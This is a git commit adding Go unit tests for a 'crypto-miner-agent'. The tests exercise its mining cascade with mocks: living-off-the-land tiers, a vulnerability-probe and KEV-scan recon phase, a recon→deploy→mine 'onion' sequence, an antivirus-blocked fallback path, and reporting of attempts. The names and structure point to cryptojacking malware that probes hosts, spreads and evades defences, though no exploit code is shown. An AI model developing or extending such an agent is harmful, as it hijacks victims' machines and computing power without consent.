Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
681
agent/client/mining_chain_lifecycle_test.go
Normal file
681
agent/client/mining_chain_lifecycle_test.go
Normal file
@@ -0,0 +1,681 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
"crypto-miner-agent/miner"
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
// ─── test helpers ─────────────────────────────────────────────────────────────
|
||||
|
||||
func miningChainTestClient(t *testing.T, cfg config.RuntimeConfig) *AgentClient {
|
||||
t.Helper()
|
||||
if cfg.BuiltinConfig.Threads == 0 {
|
||||
cfg.BuiltinConfig.Threads = 1
|
||||
}
|
||||
c := &AgentClient{
|
||||
cfg: cfg,
|
||||
reporter: stats.NewReporter(),
|
||||
}
|
||||
c.pool = miner.NewPool(1, cfg, c.reporter, nil)
|
||||
c.pool.Start()
|
||||
t.Cleanup(func() { c.pool.Stop() })
|
||||
return c
|
||||
}
|
||||
|
||||
func longRunningExecCmd() *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("ping", "-n", "600", "127.0.0.1")
|
||||
}
|
||||
return exec.Command("sleep", "600")
|
||||
}
|
||||
|
||||
func quickExitExecCmd() *exec.Cmd {
|
||||
if runtime.GOOS == "windows" {
|
||||
return exec.Command("cmd", "/c", "exit", "0")
|
||||
}
|
||||
return exec.Command("true")
|
||||
}
|
||||
|
||||
func setupFakeDockerRuntime(t *testing.T) {
|
||||
t.Helper()
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo {
|
||||
return miner.ContainerRuntimeInfo{Available: true, CLI: "docker", Version: "24.0"}
|
||||
})
|
||||
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
t.Cleanup(func() { miner.SetWSLDetector(nil) })
|
||||
miner.SetContainerExecCommand(func(name string, args ...string) *exec.Cmd {
|
||||
if len(args) > 0 && args[0] == "rm" {
|
||||
return quickExitExecCmd()
|
||||
}
|
||||
return longRunningExecCmd()
|
||||
})
|
||||
t.Cleanup(func() { miner.SetContainerExecCommand(nil) })
|
||||
}
|
||||
|
||||
func setupNoContainerRuntime(t *testing.T) {
|
||||
t.Helper()
|
||||
miner.SetRuntimeDetector(func() miner.ContainerRuntimeInfo { return miner.ContainerRuntimeInfo{} })
|
||||
t.Cleanup(func() { miner.SetRuntimeDetector(nil) })
|
||||
miner.SetWSLDetector(func() miner.WSLRuntimeInfo { return miner.WSLRuntimeInfo{} })
|
||||
t.Cleanup(func() { miner.SetWSLDetector(nil) })
|
||||
}
|
||||
|
||||
func baseMiningCfg() config.RuntimeConfig {
|
||||
return config.RuntimeConfig{
|
||||
BuiltinConfig: config.BuiltinConfig{
|
||||
MinerExecution: miner.ExecutionAuto,
|
||||
PoolHost: "pool.example.com",
|
||||
PoolPort: 3333,
|
||||
Wallet: "XMR:test-wallet",
|
||||
Threads: 1,
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
func installFastVulnProbe(t *testing.T, wallet string) {
|
||||
t.Helper()
|
||||
miner.SetVulnProbeRunner(func() miner.TierAttempt {
|
||||
return miner.TierAttempt{Tier: miner.TierVulnProbe, OK: true, Wallet: wallet}
|
||||
})
|
||||
t.Cleanup(func() { miner.SetVulnProbeRunner(nil) })
|
||||
}
|
||||
|
||||
func skipCtrlTierHooks(r *MiningChainRunner) {
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
RunTierProbes: func() miner.TierReport { return miner.TierReport{} },
|
||||
RunTierChain: func() (miner.LOTLTier, error) { return "", miner.ErrTierChainSkipped },
|
||||
})
|
||||
}
|
||||
|
||||
func newTestMiningChainRunner(t *testing.T, c *AgentClient) *MiningChainRunner {
|
||||
t.Helper()
|
||||
installFastVulnProbe(t, c.cfg.Wallet)
|
||||
r := c.newMiningChainRunner()
|
||||
skipCtrlTierHooks(r)
|
||||
return r
|
||||
}
|
||||
|
||||
func onionPayloadShape(t *testing.T, report miner.TripleOnionReport, eventType string) map[string]interface{} {
|
||||
t.Helper()
|
||||
raw, err := json.Marshal(struct {
|
||||
miner.TripleOnionReport
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
TripleOnionReport: report,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal onion payload: %v", err)
|
||||
}
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
t.Fatalf("unmarshal onion payload: %v", err)
|
||||
}
|
||||
return doc
|
||||
}
|
||||
|
||||
func tierPayloadShape(t *testing.T, report miner.TierReport, eventType string) map[string]interface{} {
|
||||
t.Helper()
|
||||
raw, err := json.Marshal(struct {
|
||||
miner.TierReport
|
||||
Event string `json:"event"`
|
||||
}{
|
||||
TierReport: report,
|
||||
Event: eventType,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("marshal tier payload: %v", err)
|
||||
}
|
||||
var doc map[string]interface{}
|
||||
if err := json.Unmarshal(raw, &doc); err != nil {
|
||||
t.Fatalf("unmarshal tier payload: %v", err)
|
||||
}
|
||||
return doc
|
||||
}
|
||||
|
||||
// ─── runner construction ───────────────────────────────────────────────────────
|
||||
|
||||
func TestMiningChainRunnerConstruction(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
if r == nil || r.client != c {
|
||||
t.Fatal("expected runner bound to client")
|
||||
}
|
||||
if r.ctrl == nil {
|
||||
t.Fatal("expected ChainController")
|
||||
}
|
||||
if r.tiers == nil {
|
||||
t.Fatal("expected TierOrchestrator")
|
||||
}
|
||||
if r.onion == nil {
|
||||
t.Fatal("expected TripleOnionOrchestrator")
|
||||
}
|
||||
order := r.ctrl.Status().ChainOrder
|
||||
if len(order) == 0 {
|
||||
t.Fatal("expected non-empty chain order")
|
||||
}
|
||||
if order[0] != miner.MethodInProcess {
|
||||
t.Fatalf("without runtime want inprocess first, got %v", order)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── start / stop / cooldown ─────────────────────────────────────────────────
|
||||
|
||||
func TestMiningChainRunnerStartStopCycle(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
|
||||
r.startMiningCascade(ctx)
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess", st.ActiveMethod)
|
||||
}
|
||||
if c.hostMiningDisabled.Load() {
|
||||
t.Fatal("in-process path should not disable host mining")
|
||||
}
|
||||
|
||||
r.Stop()
|
||||
st = r.Status()
|
||||
if st.ActiveMethod != "" {
|
||||
t.Fatalf("after Stop active=%q want empty", st.ActiveMethod)
|
||||
}
|
||||
r.mu.Lock()
|
||||
cancelled := r.monCancel == nil
|
||||
r.mu.Unlock()
|
||||
if !cancelled {
|
||||
t.Fatal("Stop should clear monitor cancel func")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerCooldownBetweenPasses(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
attempts := 0
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
attempts++
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||
t.Fatalf("first TryChain: %v", err)
|
||||
}
|
||||
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||
t.Fatalf("second TryChain: %v", err)
|
||||
}
|
||||
if attempts != 1 {
|
||||
t.Fatalf("cooldown attempts=%d want 1", attempts)
|
||||
}
|
||||
|
||||
r.Restart(ctx)
|
||||
if attempts != 2 {
|
||||
t.Fatalf("Restart after cooldown attempts=%d want 2", attempts)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── triple onion wire ordering ──────────────────────────────────────────────
|
||||
|
||||
func TestMiningChainRunnerTripleOnionPhaseOrdering(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
var phases []string
|
||||
policy := miner.TripleOnionPolicy{
|
||||
PatchFirst: false,
|
||||
ReconTiers: []string{"kev_scan"},
|
||||
DeployLanes: []string{"docker", "wsl"},
|
||||
}
|
||||
r.onion = miner.NewTripleOnionOrchestrator(c.cfg, policy, miner.TripleOnionHooks{
|
||||
RunReconTier: func(_ context.Context, tier string) miner.ReconTierResult {
|
||||
phases = append(phases, "recon:"+tier)
|
||||
return miner.ReconTierResult{OK: true, Snapshot: miner.ReconSnapshot{RiskScore: 5}}
|
||||
},
|
||||
RunDeployLane: func(_ context.Context, lane string) (bool, string) {
|
||||
phases = append(phases, "deploy:"+lane)
|
||||
if lane == "docker" {
|
||||
return true, "mock container ready"
|
||||
}
|
||||
return false, "skipped"
|
||||
},
|
||||
RunMining: func(_ context.Context) {
|
||||
phases = append(phases, "mining")
|
||||
},
|
||||
ReportEvent: r.reportOnionEvent,
|
||||
})
|
||||
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
r.Start(ctx)
|
||||
|
||||
want := []string{"recon:kev_scan", "deploy:docker", "mining"}
|
||||
if len(phases) != len(want) {
|
||||
t.Fatalf("phases=%v want %v", phases, want)
|
||||
}
|
||||
for i := range want {
|
||||
if phases[i] != want[i] {
|
||||
t.Fatalf("phases[%d]=%q want %q full=%v", i, phases[i], want[i], phases)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ─── tier hooks: container skip, inprocess, GPU parallel ────────────────────
|
||||
|
||||
func TestMiningChainRunnerContainerSkipsWithoutRuntime(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionContainer
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess when container unavailable", st.ActiveMethod)
|
||||
}
|
||||
for _, m := range st.ChainOrder {
|
||||
if m == miner.MethodContainer {
|
||||
t.Fatalf("chain order must omit container without runtime: %v", st.ChainOrder)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerContainerActiveWithMockRuntime(t *testing.T) {
|
||||
setupFakeDockerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
c.tierPolicy = miner.MiningTierPolicy{
|
||||
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
|
||||
}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodContainer {
|
||||
t.Fatalf("active=%q want container", st.ActiveMethod)
|
||||
}
|
||||
if !c.hostMiningDisabled.Load() {
|
||||
t.Fatal("container tier should disable host RandomX")
|
||||
}
|
||||
if c.containerMiner == nil || !c.containerMiner.Running() {
|
||||
t.Fatal("expected mock container miner running")
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerInProcessPath(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
if c.hostMiningDisabled.Load() {
|
||||
t.Fatal("in-process should keep host mining enabled")
|
||||
}
|
||||
if r.Status().ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess", r.Status().ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerGPUParallelBranch(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
cfg.GPUEnabled = true
|
||||
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
gpuStarted := false
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
r.client.hostMiningDisabled.Store(false)
|
||||
r.client.pool.ResumeRemote()
|
||||
return nil
|
||||
},
|
||||
IsGPUSupported: func() bool { return true },
|
||||
WebGPUReady: func() bool { return true },
|
||||
StartGPU: func() error {
|
||||
gpuStarted = true
|
||||
r.ctrl.SetGPUActive(true)
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if !gpuStarted {
|
||||
t.Fatal("expected GPU parallel branch to start")
|
||||
}
|
||||
if !st.GPUParallel {
|
||||
t.Fatalf("status gpu_parallel=false: %+v", st)
|
||||
}
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("CPU primary=%q want inprocess", st.ActiveMethod)
|
||||
}
|
||||
for _, m := range st.ActiveMethods {
|
||||
if m == miner.MethodGPUSubprocess {
|
||||
return
|
||||
}
|
||||
}
|
||||
t.Fatalf("active_methods=%v want gpu_subprocess", st.ActiveMethods)
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerGPUSkippedWhenUnsupported(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
cfg.GPUEnabled = true
|
||||
cfg.RVNWallet = "RTa4x7xx9iitVVYZ7c2asjvVRpA2P3osd9"
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
r.client.hostMiningDisabled.Store(false)
|
||||
r.client.pool.ResumeRemote()
|
||||
return nil
|
||||
},
|
||||
IsGPUSupported: func() bool { return false },
|
||||
})
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
if r.Status().GPUParallel {
|
||||
t.Fatal("gpu_parallel should be false when IsGPUSupported is false")
|
||||
}
|
||||
}
|
||||
|
||||
// ─── reportOnionEvent / lotl_attempts payload shape ──────────────────────────
|
||||
|
||||
func TestMiningChainRunnerReportOnionEventPayloadShape(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
report := miner.TripleOnionReport{
|
||||
ActivePhase: miner.OnionPhaseDeploy,
|
||||
Gate: miner.GateDecision{SkipMining: false},
|
||||
Recon: miner.ReconSnapshot{RiskScore: 12, ServiceCount: 3},
|
||||
Attempts: []miner.TierAttempt{
|
||||
{Phase: string(miner.OnionPhaseRecon), Tier: miner.TierVulnProbe, OK: true, Wallet: "XMR:test-wallet"},
|
||||
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true, Wallet: "XMR:test-wallet", DurationMs: 42},
|
||||
},
|
||||
Wallet: "XMR:test-wallet",
|
||||
}
|
||||
r.reportOnionEvent(report, "onion_report")
|
||||
|
||||
doc := onionPayloadShape(t, report, "onion_report")
|
||||
for _, key := range []string{"event", "onion_phase", "gate", "recon", "lotl_attempts", "wallet"} {
|
||||
if _, ok := doc[key]; !ok {
|
||||
t.Fatalf("onion payload missing key %q: %v", key, doc)
|
||||
}
|
||||
}
|
||||
if doc["event"] != "onion_report" {
|
||||
t.Fatalf("event=%v", doc["event"])
|
||||
}
|
||||
attempts, ok := doc["lotl_attempts"].([]interface{})
|
||||
if !ok || len(attempts) != 2 {
|
||||
t.Fatalf("lotl_attempts=%T len=%d", doc["lotl_attempts"], len(attempts))
|
||||
}
|
||||
first, ok := attempts[0].(map[string]interface{})
|
||||
if !ok {
|
||||
t.Fatalf("attempt[0] type=%T", attempts[0])
|
||||
}
|
||||
if first["phase"] != string(miner.OnionPhaseRecon) {
|
||||
t.Fatalf("attempt phase=%v", first["phase"])
|
||||
}
|
||||
if first["wallet"] != "XMR:test-wallet" {
|
||||
t.Fatalf("attempt wallet=%v", first["wallet"])
|
||||
}
|
||||
|
||||
st := r.Status()
|
||||
if len(st.LOTLAttempts) != 2 {
|
||||
t.Fatalf("Status().LOTLAttempts=%d want 2", len(st.LOTLAttempts))
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerReportTierEventLotlAttempts(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
report := miner.TierReport{
|
||||
ActiveTier: miner.TierCPUInprocess,
|
||||
Attempts: []miner.TierAttempt{
|
||||
{Tier: miner.TierWebView2Probe, OK: true, Wallet: "XMR:test-wallet", DurationMs: 10},
|
||||
{Tier: miner.TierCPUInprocess, OK: true, Wallet: "XMR:test-wallet"},
|
||||
},
|
||||
WebGPUReady: true,
|
||||
}
|
||||
r.reportTierEvent(report, "tier_report")
|
||||
|
||||
doc := tierPayloadShape(t, report, "tier_report")
|
||||
for _, key := range []string{"event", "lotl_tier", "lotl_attempts", "webgpu_ready"} {
|
||||
if _, ok := doc[key]; !ok {
|
||||
t.Fatalf("tier payload missing key %q: %v", key, doc)
|
||||
}
|
||||
}
|
||||
if doc["lotl_tier"] != string(miner.TierCPUInprocess) {
|
||||
t.Fatalf("lotl_tier=%v", doc["lotl_tier"])
|
||||
}
|
||||
|
||||
st := r.Status()
|
||||
if st.LOTLTier != miner.TierCPUInprocess {
|
||||
t.Fatalf("Status lotl_tier=%q", st.LOTLTier)
|
||||
}
|
||||
if len(st.LOTLAttempts) < 2 {
|
||||
t.Fatalf("Status lotl_attempts=%v", st.LOTLAttempts)
|
||||
}
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("tier event should set primary active=%q", st.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerStatusMergesOnionAttempts(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.tierPolicy = miner.MiningTierPolicy{ForceTier: miner.TierCPUInprocess}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
r.mu.Lock()
|
||||
r.onionAttempts = []miner.TierAttempt{
|
||||
{Phase: string(miner.OnionPhaseRecon), Tier: "kev_scan", OK: true},
|
||||
{Phase: string(miner.OnionPhaseDeploy), Tier: "docker", OK: true},
|
||||
}
|
||||
r.mu.Unlock()
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
defer r.Stop()
|
||||
|
||||
st := r.Status()
|
||||
if len(st.LOTLAttempts) < 3 {
|
||||
t.Fatalf("merged attempts=%d want >=3: %v", len(st.LOTLAttempts), st.LOTLAttempts)
|
||||
}
|
||||
if st.LOTLAttempts[0].Phase != string(miner.OnionPhaseRecon) {
|
||||
t.Fatalf("first attempt phase=%q", st.LOTLAttempts[0].Phase)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── mining disabled / ApkMode skips chain ───────────────────────────────────
|
||||
|
||||
func TestMiningChainSkipsWhenMiningDisabled(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MiningDisabled = true
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.connected.Store(true)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
|
||||
defer cancel()
|
||||
c.startMiningWhenReady(ctx)
|
||||
|
||||
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||
t.Fatalf("mining disabled should not start chain, active=%q", r.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainSkipsApkMode(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.ApkMode = true
|
||||
c := miningChainTestClient(t, cfg)
|
||||
c.connected.Store(true)
|
||||
c.miningChain = newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 200*time.Millisecond)
|
||||
defer cancel()
|
||||
c.startMiningWhenReady(ctx)
|
||||
|
||||
if r := c.miningChain.Status(); r.ActiveMethod != "" {
|
||||
t.Fatalf("apk mode should not start chain, active=%q", r.ActiveMethod)
|
||||
}
|
||||
}
|
||||
|
||||
// ─── error paths: tier failure advances, exhausted chain ───────────────────
|
||||
|
||||
func TestMiningChainRunnerTierFailureAdvancesToInProcess(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
containerCalls := 0
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartContainer: func() error {
|
||||
containerCalls++
|
||||
return errors.New("mock container start blocked by AV")
|
||||
},
|
||||
StartInProcess: func() error {
|
||||
r.client.hostMiningDisabled.Store(false)
|
||||
r.client.pool.ResumeRemote()
|
||||
return nil
|
||||
},
|
||||
IsGPUSupported: func() bool { return false },
|
||||
})
|
||||
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodContainer, miner.MethodInProcess})
|
||||
|
||||
ctx := context.Background()
|
||||
if _, err := r.ctrl.TryChain(ctx); err != nil {
|
||||
t.Fatalf("TryChain: %v", err)
|
||||
}
|
||||
defer r.Stop()
|
||||
|
||||
if containerCalls == 0 {
|
||||
t.Fatal("expected container tier attempt before advance")
|
||||
}
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("active=%q want inprocess after container failure", st.ActiveMethod)
|
||||
}
|
||||
if len(st.FailedMethods) == 0 || st.FailedMethods[0].Method != miner.MethodContainer {
|
||||
t.Fatalf("failures=%v want container failure recorded", st.FailedMethods)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerAdvancePrimaryFromUnhealthyContainer(t *testing.T) {
|
||||
setupFakeDockerRuntime(t)
|
||||
c := miningChainTestClient(t, baseMiningCfg())
|
||||
c.tierPolicy = miner.MiningTierPolicy{
|
||||
TierOrder: []miner.LOTLTier{miner.TierContainer, miner.TierCPUInprocess},
|
||||
}
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
ctx := context.Background()
|
||||
r.startMiningCascade(ctx)
|
||||
|
||||
if r.Status().ActiveMethod != miner.MethodContainer {
|
||||
t.Fatalf("setup active=%q want container", r.Status().ActiveMethod)
|
||||
}
|
||||
if c.containerMiner != nil {
|
||||
c.containerMiner.Stop()
|
||||
}
|
||||
if c.containerMiner != nil && c.containerMiner.Running() {
|
||||
t.Fatal("container should be stopped")
|
||||
}
|
||||
|
||||
r.ctrl.AdvancePrimary("container workload exited or unhealthy")
|
||||
st := r.Status()
|
||||
if st.ActiveMethod != miner.MethodInProcess {
|
||||
t.Fatalf("after advance active=%q want inprocess", st.ActiveMethod)
|
||||
}
|
||||
r.Stop()
|
||||
}
|
||||
|
||||
func TestMiningChainRunnerExhaustedChainState(t *testing.T) {
|
||||
setupNoContainerRuntime(t)
|
||||
cfg := baseMiningCfg()
|
||||
cfg.MinerExecution = miner.ExecutionInProcess
|
||||
c := miningChainTestClient(t, cfg)
|
||||
r := newTestMiningChainRunner(t, c)
|
||||
|
||||
r.ctrl.SetChainHooksForTest(miner.ChainHooks{
|
||||
StartInProcess: func() error {
|
||||
return errors.New("mock in-process RandomX unavailable")
|
||||
},
|
||||
})
|
||||
r.ctrl.SetChainOrderForTest([]miner.MiningMethod{miner.MethodInProcess})
|
||||
|
||||
ctx := context.Background()
|
||||
_, err := r.ctrl.TryChain(ctx)
|
||||
if err == nil {
|
||||
t.Fatal("expected TryChain error when all primaries fail")
|
||||
}
|
||||
|
||||
st := r.Status()
|
||||
if !st.ChainExhausted {
|
||||
t.Fatal("expected chain_exhausted flag")
|
||||
}
|
||||
if st.ActiveMethod != "" {
|
||||
t.Fatalf("active=%q want empty when exhausted", st.ActiveMethod)
|
||||
}
|
||||
if len(st.FailedMethods) != 1 || st.FailedMethods[0].Method != miner.MethodInProcess {
|
||||
t.Fatalf("failures=%v", st.FailedMethods)
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user